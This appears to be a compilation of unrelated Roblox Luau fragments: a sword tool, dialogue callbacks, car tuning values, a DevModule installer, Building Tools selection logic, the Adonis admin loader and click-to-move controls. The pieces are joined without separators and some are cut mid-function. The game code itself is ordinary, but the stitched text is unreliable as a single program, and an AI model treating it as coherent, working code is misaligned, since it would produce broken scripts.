local PartTouched local HitDelay = false PartTouched = Part.Touched:connect(function(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped or HitDelay then return end local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")) if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChild("Humanoid") local rootpart = (character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Torso")) if not humanoid or humanoid.Health == 0 or not rootpart then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end HitDelay = true local TotalDamage = Damage DealDamage(character, TotalDamage) local Now = tick() print((Now - LastExplode)) if (math.random() <= 0.05) and (Now - LastExplode) >= 5 then LastExplode = Now local Explosion = Create("Explosion"){ Name = "Explosion", Position = Handle.Position, ExplosionType = Enum.ExplosionType.NoCraters, DestroyJointRadiusPercent = 0, BlastPressure = 0, BlastRadius = 5, Visible = true, } local PlayersHit = {} Explosion.Hit:connect(function(Hit) if not Hit or not Hit.Parent then return end local character = Hit.Parent local humanoid = character:FindFirstChild("Humanoid") if not humanoid or humanoid.Health == 0 then return end if CheckTableForInstance(PlayersHit, character) then return end local player = Players:GetPlayerFromCharacter(character) if player and player ~= Player and IsTeamMate(Player, player) then --don't damage teammates but damage return end table.insert(PlayersHit, character) UntagHumanoid(humanoid) if player ~= Player then TagHumanoid(humanoid, Player) end humanoid:TakeDamage(100 / ((player == Player and 2) or 1)) end) Explosion.Parent = game:GetService("Workspace") end wait(0.05) HitDelay = false end) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() --[[local Anim = Create("StringValue"){ Name = "toolanim", Value = "Slash", } Debris:AddItem(Anim, 2) Anim.Parent = Tool]] local SwingAnimations = ((Humanoid.RigType == Enum.HumanoidRigType.R6 and {Animations.LeftSlash, Animations.RightSlash, Animations.SideSwipe}) or (Humanoid.RigType == Enum.HumanoidRigType.R15 and {Animations.R15LeftSlash, --[[Animations.R15RightSlash,]] Animations.R15SideSwipe})) local Animation = SwingAnimations[math.random(1, #SwingAnimations)] Spawn(function() InvokeClient("PlayAnimation", Animation) end) wait(Animation.Duration) end function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false Attack() Damage = DamageValues.BaseDamage Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") RootPart = Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end Sounds.Unsheath:Play() ToolEquipped = true end function Unequipped() Humanoid.WalkSpeed = 16 ToolEquipped = false end function OnServerInvoke(player, mode, value) if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then return end end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) Blow(Handle)
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local References = require(game.ReplicatedStorage.Source.Modules.References) References.Util:GetPlayerData(player).Character.Appearance.Face.Value = game.ReplicatedStorage.Assets.SystemPrefabs.Faces:GetChildren()[math.random(1,#game.ReplicatedStorage.Assets.SystemPrefabs.Faces:GetChildren())].Name game.ReplicatedStorage.Events.System.UpdateFace:Fire(player) end
-- The tag name. Used for cleanup.
local DEFAULT_COLLECTION_TAG_NAME: string = "_RaycastHitboxV4Managed"
-- This script's purpose is to remove the part as the game starts
if script.Parent.Parent:FindFirstChild("ThumbnailCamera") == true then script.Parent.Parent.ThumbnailCamera:Destroy() end script.Parent:Destroy()
--Tune--
local StockHP = 445 --Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve) local TurboCount = 1 --(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos) local TurboSize = 91 --bigger the turbo, the more lag it has (actually be realistic with it) no 20mm turbos local WasteGatePressure = 50 --Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo) local CompressionRatio = 9/1 --Compression of your car (look up the compression of the engine you are running) local AntiLag = true --if true basically keeps the turbo spooled up so less lag local BOV_Loudness = 1.1 --volume of the BOV (not exact volume so you kinda have to experiment with it) local BOV_Pitch = 0.9 --max pitch of the BOV (not exact so might have to mess with it) local TurboLoudness = 0.65 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "v" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 elseif cam == ("freeplr") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Attach") cam = ("lockplr") Camera.FieldOfView = 45 elseif cam == ("lockplr") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 end elseif key == "u" then --Window controls if windows == false then winfob.Visible = true windows = true else windows = false winfob.Visible = false end elseif key == "[" then -- volume down if carSeat.Parent.Body.MP.Sound.Volume > 0 then handler:FireServer('updateVolume', -0.5) end elseif key == "]" then -- volume up if carSeat.Parent.Body.MP.Sound.Volume < 10 then handler:FireServer('updateVolume', 0.5) end end end) winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song handler:FireServer('updateSong', winfob.mg.Input.Text) end) winfob.mg.Stop.MouseButton1Click:connect(function() --Play the next song handler:FireServer('pauseSong') end)
-- Example test-code here. Put the following code in a localscript inside a screengui with this module. --[[ local confettiModule = require(script.Parent:WaitForChild('ConfettiModule')) while true do confettiModule.Explode(Vector2.new(300,150), 50) wait(.5) confettiModule.Explode(Vector2.new(500,150), 50) wait(.5) confettiModule.Explode(Vector2.new(700,150), 50) wait(5) confettiModule.Rain(100) wait(5) end ]]
-- Ensures that all scripts included with a DevModule are marked as Disabled. -- This makes sure there are no race conditions resulting in the Install script -- running after the scripts included with the module.
local function assertScriptsAreDisabled(devModuleScripts: { BaseScript }) local enabledScripts = {} for _, devModuleScript in ipairs(devModuleScripts) do if not devModuleScript.Disabled then table.insert(enabledScripts, devModuleScript.Name) end end if #enabledScripts > 0 then error(constants.ENABLED_SCRIPTS_ERROR:format(table.concat(enabledScripts, ", "))) end end type Options = { verboseLogging: boolean, } local defaultOptions: Options = { verboseLogging = false, } local function install(devModule: Instance, options: Options?) local devModuleType = typeof(devModule) assert(devModuleType == "Instance", ("expected a DevModule to install, got %s"):format(devModuleType)) assert(devModule.Parent, ("%s must be parented to be installed"):format(devModule.Name)) local mergedOptions = defaultOptions for key, value in pairs(options or {}) do mergedOptions[key] = value end if mergedOptions.verboseLogging then useVerboseLogging = mergedOptions.verboseLogging end events.started:Fire() log("info", ("Installing %s from %s..."):format(devModule.Name, devModule.Parent.Name)) local devModuleScripts = getDevModuleScripts(devModule) assertScriptsAreDisabled(devModuleScripts) if constants.DEV_MODULE_STORAGE:FindFirstChild(devModule.Name) then log("info", "A version of this DevModule already exists. Skipping...") devModule:Destroy() return end log("info", "Overlaying services...") for _, child in ipairs(devModule:GetChildren()) do -- GetService errors if the given name is not a service so we wrap it in -- a pcall to use the result in a conditional. local success, service = pcall(function() return game:GetService(child.Name) end) if success then overlay(child, service) end end log("info", "Enabling scripts...") for _, devModuleScript in ipairs(devModuleScripts) do devModuleScript.Disabled = false log("info", ("Enabled %s"):format(devModuleScript.Name)) end events.finished:Fire() log("info", ("Safe to remove %s"):format(devModule:GetFullName())) log("info", ("Removing %s..."):format(devModule:GetFullName())) devModule:Destroy() log("info", ("Successfully installed %s!"):format(devModule.Name)) end return install
--- Adds parts & models found in `Item` to `PartTable` & `ModelTable`.
local function CollectPartsAndModels(Item, PartTable, ModelTable) -- Collect item if it's a part if Item:IsA('BasePart') then table.insert(PartTable, Item) else -- Collect item if it's a model if Item:IsA('Model') then table.insert(ModelTable, Item) end -- Collect parts & models within item local Descendants = Item:GetDescendants() for _, Descendant in ipairs(Descendants) do if Descendant:IsA('BasePart') then table.insert(PartTable, Descendant) elseif Descendant:IsA('Model') then table.insert(ModelTable, Descendant) end end end end function Selection.Add(Items, RegisterHistory) -- Adds the given items to the selection -- Get core API local Core = GetCore(); -- Go through and validate each given item local SelectableItems = {}; for _, Item in pairs(Items) do -- Make sure each item is valid and not already selected if Item.Parent and (not Selection.ItemIndex[Item]) then table.insert(SelectableItems, Item); end; end; local OldSelection = Selection.Items; -- Track parts and models in new selection local Parts = {} local Models = {} -- Go through the valid new selection items for _, Item in pairs(SelectableItems) do -- Add each valid item to the selection Selection.ItemIndex[Item] = true; CreateSelectionBoxes(Item) -- Create maid for cleaning up item listeners local ItemMaid = Maid.new() Selection.Maid[Item] = ItemMaid -- Deselect items that are destroyed ItemMaid.RemovalListener = Item.AncestryChanged:Connect(function (Object, Parent) if Parent == nil then Selection.Remove({ Item }) end end) -- Find parts and models within item CollectPartsAndModels(Item, Parts, Models) -- Listen for new parts or models in groups local IsGroup = not Item:IsA 'BasePart' or nil ItemMaid.NewPartsOrModels = IsGroup and Item.DescendantAdded:Connect(function (Descendant) if Descendant:IsA('PVInstance') then if Descendant:IsA('BasePart') then local NewRefCount = (Selection.PartIndex[Descendant] or 0) + 1 Selection.PartIndex[Descendant] = NewRefCount Selection.Parts = Support.Keys(Selection.PartIndex) if NewRefCount == 1 then Selection.PartsAdded:Fire({ Descendant }) end elseif Descendant:IsA('Model') then local NewRefCount = (Selection.ModelIndex[Descendant] or 0) + 1 Selection.ModelIndex[Descendant] = NewRefCount Selection.Models = Support.Keys(Selection.ModelIndex) end end end) ItemMaid.RemovingPartsOrModels = IsGroup and Item.DescendantRemoving:Connect(function (Descendant) if Selection.PartIndex[Descendant] then local NewRefCount = (Selection.PartIndex[Descendant] or 0) - 1 Selection.PartIndex[Descendant] = (NewRefCount > 0) and NewRefCount or nil if NewRefCount == 0 then Selection.Parts = Support.Keys(Selection.PartIndex) Selection.PartsRemoved:Fire { Descendant } end elseif Selection.ModelIndex[Descendant] then local NewRefCount = (Selection.ModelIndex[Descendant] or 0) - 1 Selection.ModelIndex[Descendant] = (NewRefCount > 0) and NewRefCount or nil if NewRefCount == 0 then Selection.Models = Support.Keys(Selection.ModelIndex) end end end) end -- Update selected item list Selection.Items = Support.Keys(Selection.ItemIndex); -- Create a history record for this selection change, if requested if RegisterHistory and #SelectableItems > 0 then TrackSelectionChange(OldSelection); end; -- Register references to new parts local NewParts = {} for _, Part in pairs(Parts) do local NewRefCount = (Selection.PartIndex[Part] or 0) + 1 Selection.PartIndex[Part] = NewRefCount if NewRefCount == 1 then table.insert(NewParts, Part) end end -- Register references to new models local NewModelCount = 0 for _, Model in ipairs(Models) do local NewRefCount = (Selection.ModelIndex[Model] or 0) + 1 Selection.ModelIndex[Model] = NewRefCount if NewRefCount == 1 then NewModelCount += 1 end end -- Update parts list if #NewParts > 0 then Selection.Parts = Support.Keys(Selection.PartIndex) Selection.PartsAdded:Fire(NewParts) end -- Update models list if NewModelCount > 0 then Selection.Models = Support.Keys(Selection.ModelIndex) end -- Fire relevant events if #SelectableItems > 0 then Selection.ItemsAdded:Fire(SelectableItems) Selection.Changed:Fire() end end; function Selection.Remove(Items, RegisterHistory) -- Removes the given items from the selection -- Go through and validate each given item local DeselectableItems = {}; for _, Item in pairs(Items) do -- Make sure each item is actually selected if Selection.IsSelected(Item) then table.insert(DeselectableItems, Item); end; end; local OldSelection = Selection.Items; -- Track parts and models in removing selection local Parts = {} local Models = {} -- Go through the valid deselectable items for _, Item in pairs(DeselectableItems) do -- Remove item from selection Selection.ItemIndex[Item] = nil; RemoveSelectionBoxes(Item) -- Stop tracking item's parts Selection.Maid[Item] = nil -- Find parts and models associated with item CollectPartsAndModels(Item, Parts, Models) end; -- Update selected item list Selection.Items = Support.Keys(Selection.ItemIndex); -- Create a history record for this selection change, if requested if RegisterHistory and #DeselectableItems > 0 then TrackSelectionChange(OldSelection); end; -- Clear references to removing parts local RemovingParts = {} for _, Part in pairs(Parts) do local NewRefCount = (Selection.PartIndex[Part] or 0) - 1 Selection.PartIndex[Part] = (NewRefCount > 0) and NewRefCount or nil if NewRefCount == 0 then table.insert(RemovingParts, Part) end end -- Clear references to removing models local RemovingModelCount = 0 for _, Model in ipairs(Models) do local NewRefCount = (Selection.ModelIndex[Model] or 0) - 1 Selection.ModelIndex[Model] = (NewRefCount > 0) and NewRefCount or nil if NewRefCount == 0 then RemovingModelCount += 1 end end -- Update parts list if #RemovingParts > 0 then Selection.Parts = Support.Keys(Selection.PartIndex) Selection.PartsRemoved:Fire(RemovingParts) end -- Update models list if RemovingModelCount > 0 then Selection.Models = Support.Keys(Selection.ModelIndex) end -- Fire relevant events if #DeselectableItems > 0 then Selection.ItemsRemoved:Fire(DeselectableItems) Selection.Changed:Fire() end end; function Selection.Clear(RegisterHistory) -- Clears all items from selection -- Remove all selected items Selection.Remove(Selection.Items, RegisterHistory); -- Fire relevant events Selection.Cleared:Fire(); end; function Selection.Replace(Items, RegisterHistory) -- Replaces the current selection with the given new items -- Save old selection reference for history local OldSelection = Selection.Items; -- Find new items local NewItems = {} for _, Item in ipairs(Items) do if not Selection.ItemIndex[Item] then table.insert(NewItems, Item) end end -- Find removing items local RemovingItems = {} local NewItemIndex = Support.FlipTable(Items) for _, Item in ipairs(Selection.Items) do if not NewItemIndex[Item] then table.insert(RemovingItems, Item) end end -- Update selection if #RemovingItems > 0 then Selection.Remove(RemovingItems, false) end if #NewItems > 0 then Selection.Add(NewItems, false) end -- Create a history record for this selection change, if requested if RegisterHistory then TrackSelectionChange(OldSelection); end; end; local function IsVisible(Item) return Item:IsA 'Model' or Item:IsA 'BasePart' end local function GetVisibleFocus(Item) -- Returns a visible focus representing the item -- Return nil if no focus if not Item then return nil end -- Return focus if it's visible if IsVisible(Item) then return Item -- Return first visible item within focus if not visible itself elseif Item then return Item:FindFirstChildWhichIsA('BasePart') or Item:FindFirstChildWhichIsA('Model') or Item:FindFirstChildWhichIsA('BasePart', true) or Item:FindFirstChildWhichIsA('Model', true) end end function Selection.SetFocus(Item) -- Selects `Item` as the focused selection item -- Ensure focus has changed local Focus = GetVisibleFocus(Item) if Selection.Focus == Focus then return end -- Set new focus item Selection.Focus = Focus -- Fire relevant events Selection.FocusChanged:Fire(Focus) end function FocusOnLastSelectedPart() -- Sets the last part of the selection as the focus -- If selection is empty, clear the focus if #Selection.Items == 0 then Selection.SetFocus(nil); -- Otherwise, focus on the last part in the selection else Selection.SetFocus(Selection.Items[#Selection.Items]); end; end;
-- Code to begin tracking, evenly spread out
task.defer(function() local iterationsPerSec = 4 while true do local Mobn = GetTableLength(MobList) local Quota = Mobn / (60/iterationsPerSec) for _, Mob in MobList do if not Mob.isDead and not Mob.Destroyed then local Player = AI:GetClosestPlayer(Mob) if Player and not ActiveMobs[Mob.Instance] then task.defer(AI.StartTracking, AI, Mob) Quota -= 1 if Quota < 1 then Quota += Mobn / (60/iterationsPerSec) task.wait() end end end end task.wait() end end)
--[=[ @type ExtensionShouldFn (component) -> boolean @within Component ]=]
type ExtensionShouldFn = (any) -> boolean
--Weight Scaling
local weightScaling = _Tune.WeightScaling
-- Represents an ActiveCast :: https://etithespirit.github.io/FastCastAPIDocs/fastcast-objects/activecast/
export type ActiveCast = { Caster: Caster, StateInfo: CastStateInfo, RayInfo: CastRayInfo, UserData: {[any]: any} } return {}
--[[Flip]]
function Flip() --Detect Orientation if (car.Body.CarName.Value.VehicleSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then FlipWait=tick() --Apply Flip else if tick()-FlipWait>=3 then FlipDB=true local gyro = car.Body.CarName.Value.VehicleSeat.Flip gyro.maxTorque = Vector3.new(10000,0,10000) gyro.P=3000 gyro.D=500 wait(1) gyro.maxTorque = Vector3.new(0,0,0) gyro.P=0 gyro.D=0 FlipDB=false end end end
--[[ Modules ]]
-- local CurrentControlModule = nil local ClickToMoveTouchControls = nil local ControlModules = {} local MasterControl = require(script:WaitForChild('MasterControl')) if IsTouchDevice then ControlModules.Thumbstick = require(script.MasterControl:WaitForChild('Thumbstick')) ControlModules.Thumbpad = require(script.MasterControl:WaitForChild('Thumbpad')) ControlModules.DPad = require(script.MasterControl:WaitForChild('DPad')) ControlModules.Default = ControlModules.Thumbstick TouchJumpModule = require(script.MasterControl:WaitForChild('TouchJump')) BindableEvent_OnFailStateChanged = script.Parent:WaitForChild('OnClickToMoveFailStateChange') else ControlModules.Keyboard = require(script.MasterControl:WaitForChild('KeyboardMovement')) end ControlModules.Gamepad = require(script.MasterControl:WaitForChild('Gamepad')) local success, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserUseLuaVehicleController") end) if success and value then local VehicleController = require(script.MasterControl:WaitForChild('VehicleController')) -- Not used, but needs to be required end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Money.Gold.Value < 45 end
---------------------------------------------------------------------------------------- -- Adonis Loader -- ---------------------------------------------------------------------------------------- -- Epix Incorporated. Not Everything is so Black and White. -- ---------------------------------------------------------------------------------------- -- Edit settings in-game or using the settings module in the Config folder -- ---------------------------------------------------------------------------------------- -- This is not designed to work in solo mode -- ----------------------------------------------------------------------------------------
warn(":: Adonis :: Loading..."); if _G["__Adonis_MUTEX"] and type(_G["__Adonis_MUTEX"])=="string" then warn("\n-----------------------------------------------" .."\nAdonis is already running! Aborting..." .."\nRunning Location: ".._G["__Adonis_MUTEX"] .."\nThis Location: "..script:GetFullName() .."\n-----------------------------------------------") --script:Destroy() else _G["__Adonis_MUTEX"] = script:GetFullName() local model = script.Parent.Parent local config = model.Config local core = model.Loader local dropper = core.Dropper local loader = core.Loader local runner = script local settings = config.Settings local plugins = config.Plugins local themes = config.Themes local backup = model:Clone() local data = { Settings = {}; Descriptions = {}; ServerPlugins = {}; ClientPlugins = {}; Packages = {}; Themes = {}; ModelParent = model.Parent; Model = model; Config = config; Core = core; Loader = loader; Dopper = dropper; Runner = runner; ModuleID = 7510592873; --// https://www.roblox.com/library/7510592873/Adonis-MainModule LoaderID = 7510622625; --// https://www.roblox.com/library/7510622625/Adonis-Loader-Sceleratis-Davey-Bones-Epix DebugMode = false; } --// Init script:Destroy() model.Name = math.random() local moduleId = data.ModuleID local a,setTab = pcall(require, settings) if not a then warn'::Adonis:: Settings module errored while loading; Using defaults;' setTab = {} end if data.DebugMode then moduleId = model.Parent.MainModule end data.Settings = setTab.Settings; data.Descriptions = setTab.Description; data.Order = setTab.Order; for _,Plugin in next,plugins:GetChildren() do if Plugin:IsA("Folder") then table.insert(data.Packages, Plugin) elseif Plugin.Name:lower():sub(1,7)=="client:" or Plugin.Name:lower():sub(1,7) == "client-" then table.insert(data.ClientPlugins, Plugin) elseif Plugin.Name:lower():sub(1,7)=="server:" or Plugin.Name:lower():sub(1,7)=="server-" then table.insert(data.ServerPlugins, Plugin) else warn("Unknown Plugin Type for "..tostring(Plugin)) end end for _,Theme in next,themes:GetChildren() do table.insert(data.Themes,Theme) end local module = require(moduleId) local response = module(data) if response == "SUCCESS" then if (data.Settings and data.Settings.HideScript) and not data.DebugMode and not game:GetService("RunService"):IsStudio() then model.Parent = nil game:BindToClose(function() model.Parent = game:GetService("ServerScriptService") model.Name = "Adonis_Loader" end) end model.Name = "Adonis_Loader" else error("MainModule failed to load") end end --[[ --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- ___________ .__ .___ \_ _____/_____ |__|__ ___ | | ____ ____ | __)_\____ \| \ \/ / | |/ \_/ ___\ | \ |_> > |> < | | | \ \___ /_______ / __/|__/__/\_ \ |___|___| /\___ > /\ \/|__| \/ \/ \/ \/ -------------------------------------------------------- Epix Incorporated. Not Everything is so Black and White. -------------------------------------------------------- --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- --___________________________________________________________________________________________-- --]]
--[[ CameraUtils - Math utility functions shared by multiple camera scripts 2018 Camera Update - AllYourBlox --]]
--local joystickWidth = 250 --local joystickHeight = 250
local function IsInBottomLeft(pt) local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250) local joystickWidth = joystickHeight return pt.X <= joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight end local function IsInBottomRight(pt) local joystickHeight = math.min(Utility.ViewSizeY() * 0.33, 250) local joystickWidth = joystickHeight return pt.X >= Utility.ViewSizeX() - joystickWidth and pt.Y > Utility.ViewSizeY() - joystickHeight end local function CheckAlive(character) local humanoid = findPlayerHumanoid(Player) return humanoid ~= nil and humanoid.Health > 0 end local function GetEquippedTool(character) if character ~= nil then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then return child end end end end local function ExploreWithRayCast(currentPoint, originDirection) local TestDistance = 40 local TestVectors = {} do local forwardVector = originDirection; for i = 0, 15 do table.insert(TestVectors, CFrame.Angles(0, math.pi / 8 * i, 0) * forwardVector) end end local testResults = {} -- Heuristic should be something along the lines of distance and closeness to the traveling direction local function ExploreHeuristic() for _, testData in pairs(testResults) do local walkDirection = -1 * originDirection local directionCoeff = (walkDirection:Dot(testData['Vector']) + 1) / 2 local distanceCoeff = testData['Distance'] / TestDistance testData["Value"] = directionCoeff * distanceCoeff end end for i, vec in pairs(TestVectors) do local hitPart, hitPos = Utility.Raycast(Ray.new(currentPoint, vec * TestDistance), true, {Player.Character}) if hitPos then table.insert(testResults, {Vector = vec; Distance = (hitPos - currentPoint).magnitude}) else table.insert(testResults, {Vector = vec; Distance = TestDistance}) end end ExploreHeuristic() table.sort(testResults, function(a,b) return a["Value"] > b["Value"] end) return testResults end local TapId = 1 local ExistingPather = nil local ExistingIndicator = nil local PathCompleteListener = nil local PathFailedListener = nil local function CleanupPath() if ExistingPather then ExistingPather:Cancel() end if PathCompleteListener then PathCompleteListener:disconnect() PathCompleteListener = nil end if PathFailedListener then PathFailedListener:disconnect() PathFailedListener = nil end if ExistingIndicator then DebrisService:AddItem(ExistingIndicator, 0) ExistingIndicator = nil end end local AutoJumperInstance = nil local ShootCount = 0 local FailCount = 0 local function OnTap(tapPositions) -- Good to remember if this is the latest tap event TapId = TapId + 1 local thisTapId = TapId local camera = workspace.CurrentCamera local character = Player.Character if not CheckAlive(character) then return end -- This is a path tap position if #tapPositions == 1 then if camera then local unitRay = Utility.GetUnitRay(tapPositions[1].x, tapPositions[1].y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera) local ray = Ray.new(unitRay.Origin, unitRay.Direction*400) local hitPart, hitPt = Utility.Raycast(ray, true, {character}) local hitChar, hitHumanoid = Utility.FindChacterAncestor(hitPart) local torso = character and character:FindFirstChild("Humanoid") and character:FindFirstChild("Humanoid").Torso local startPos = torso.CFrame.p if hitChar and hitHumanoid and hitHumanoid.Torso and (hitHumanoid.Torso.CFrame.p - torso.CFrame.p).magnitude < 7 then CleanupPath() local myHumanoid = findPlayerHumanoid(Player) if myHumanoid then myHumanoid:MoveTo(hitPt) end ShootCount = ShootCount + 1 local thisShoot = ShootCount -- Do shooot local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end elseif hitPt and character then local thisPather = Pather(character, hitPt) if thisPather:IsValidPath() then FailCount = 0 -- TODO: Remove when bug in engine is fixed Player:Move(Vector3.new(1, 0, 0)) Player:Move(Vector3.new(0, 0, 0)) thisPather:Start() if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(false) end CleanupPath() local destinationGlobe = CreateDestinationIndicator(hitPt) destinationGlobe.Parent = camera ExistingPather = thisPather ExistingIndicator = destinationGlobe if AutoJumperInstance then AutoJumperInstance:Run() end PathCompleteListener = thisPather.Finished:connect(function() if AutoJumperInstance then AutoJumperInstance:Stop() end if destinationGlobe then if ExistingIndicator == destinationGlobe then ExistingIndicator = nil end DebrisService:AddItem(destinationGlobe, 0) destinationGlobe = nil end if hitChar then local humanoid = findPlayerHumanoid(Player) ShootCount = ShootCount + 1 local thisShoot = ShootCount -- Do shoot local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end if humanoid then humanoid:MoveTo(hitPt) end end local finishPos = torso and torso.CFrame.p --hitPt if finishPos and startPos and tick() - Utility.GetLastInput() > 2 then local exploreResults = ExploreWithRayCast(finishPos, ((startPos - finishPos) * Vector3.new(1,0,1)).unit) -- Check for Nans etc.. if exploreResults[1] and exploreResults[1]["Vector"] and exploreResults[1]["Vector"].magnitude >= 0.5 and exploreResults[1]["Distance"] > 3 then if CameraModule then local rotatedCFrame = CameraModule:LookAtPreserveHeight(finishPos + exploreResults[1]["Vector"] * exploreResults[1]["Distance"]) local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame) end end end end) PathFailedListener = thisPather.PathFailed:connect(function() if AutoJumperInstance then AutoJumperInstance:Stop() end if destinationGlobe then FlashRed(destinationGlobe) DebrisService:AddItem(destinationGlobe, 3) end end) else if hitPt then -- Feedback here for when we don't have a good path local failedGlobe = CreateDestinationIndicator(hitPt) FlashRed(failedGlobe) DebrisService:AddItem(failedGlobe, 1) failedGlobe.Parent = camera if ExistingIndicator == nil then FailCount = FailCount + 1 if FailCount >= 3 then if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged:Fire(true) end CleanupPath() end end end end else -- no hit pt end end elseif #tapPositions >= 2 then if camera then ShootCount = ShootCount + 1 local thisShoot = ShootCount -- Do shoot local avgPoint = Utility.AveragePoints(tapPositions) local unitRay = Utility.GetUnitRay(avgPoint.x, avgPoint.y, MyMouse.ViewSizeX, MyMouse.ViewSizeY, camera) local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() LastFired = tick() end end end end local function CreateClickToMoveModule() local this = {} local LastStateChange = 0 local LastState = Enum.HumanoidStateType.Running local FingerTouches = {} local NumUnsunkTouches = 0 -- PC simulation local mouse1Down = tick() local mouse1DownPos = Vector2.new() local mouse2Down = tick() local mouse2DownPos = Vector2.new() local mouse2Up = tick() local movementKeys = { [Enum.KeyCode.W] = true; [Enum.KeyCode.A] = true; [Enum.KeyCode.S] = true; [Enum.KeyCode.D] = true; [Enum.KeyCode.Up] = true; [Enum.KeyCode.Down] = true; } local TapConn = nil local InputBeganConn = nil local InputChangedConn = nil local InputEndedConn = nil local HumanoidDiedConn = nil local CharacterChildAddedConn = nil local OnCharacterAddedConn = nil local CharacterChildRemovedConn = nil local RenderSteppedConn = nil local function disconnectEvent(event) if event then event:disconnect() end end local function DisconnectEvents() disconnectEvent(TapConn) disconnectEvent(InputBeganConn) disconnectEvent(InputChangedConn) disconnectEvent(InputEndedConn) disconnectEvent(HumanoidDiedConn) disconnectEvent(CharacterChildAddedConn) disconnectEvent(OnCharacterAddedConn) disconnectEvent(RenderSteppedConn) disconnectEvent(CharacterChildRemovedConn) pcall(function() RunService:UnbindFromRenderStep("ClickToMoveRenderUpdate") end) end local function IsFinite(num) return num == num and num ~= 1/0 and num ~= -1/0 end local function findAngleBetweenXZVectors(vec2, vec1) return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z) end -- Setup the camera CameraModule = ClassicCameraModule() do -- Extend The Camera Module Class function CameraModule:LookAtPreserveHeight(newLookAtPt) local camera = workspace.CurrentCamera local focus = camera.Focus.p local cameraCFrame = camera.CoordinateFrame local mag = Vector3.new(cameraCFrame.lookVector.x, 0, cameraCFrame.lookVector.z).magnitude local newLook = (Vector3.new(newLookAtPt.x, focus.y, newLookAtPt.z) - focus).unit * mag local flippedLook = newLook + Vector3.new(0, cameraCFrame.lookVector.y, 0) local distance = (focus - camera.CoordinateFrame.p).magnitude local newCamPos = focus - flippedLook.unit * distance return CFrame.new(newCamPos, newCamPos + flippedLook) end function CameraModule:TweenCameraLook(desiredCFrame, speed) local e = 2.718281828459 local function SCurve(t) return 1/(1 + e^(-t*1.5)) end local function easeOutSine(t, b, c, d) if t >= d then return b + c end return c * math.sin(t/d * (math.pi/2)) + b; end local theta, interper = CFrameInterpolator(CFrame.new(Vector3.new(), self:GetCameraLook()), desiredCFrame - desiredCFrame.p) theta = Utility.Clamp(0, math.pi, theta) local duration = 0.65 * SCurve(theta - math.pi/4) + 0.15 if speed then duration = theta / speed end local start = tick() local finish = start + duration self.UpdateTweenFunction = function() local currTime = tick() - start local alpha = Utility.Clamp(0, 1, easeOutSine(currTime, 0, 1, duration)) local newCFrame = interper(alpha) local y = findAngleBetweenXZVectors(newCFrame.lookVector, self:GetCameraLook()) if IsFinite(y) and math.abs(y) > 0.0001 then self.RotateInput = self.RotateInput + Vector2.new(y, 0) end return (currTime >= finish or alpha >= 1) end end end --- Done Extending local function OnTouchBegan(input, processed) if FingerTouches[input] == nil and not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end FingerTouches[input] = processed end local function OnTouchChanged(input, processed) if FingerTouches[input] == nil then FingerTouches[input] = processed if not processed then NumUnsunkTouches = NumUnsunkTouches + 1 end end end local function OnTouchEnded(input, processed) --print("Touch tap fake:" , processed) --if not processed then -- OnTap({input.Position}) --end if FingerTouches[input] ~= 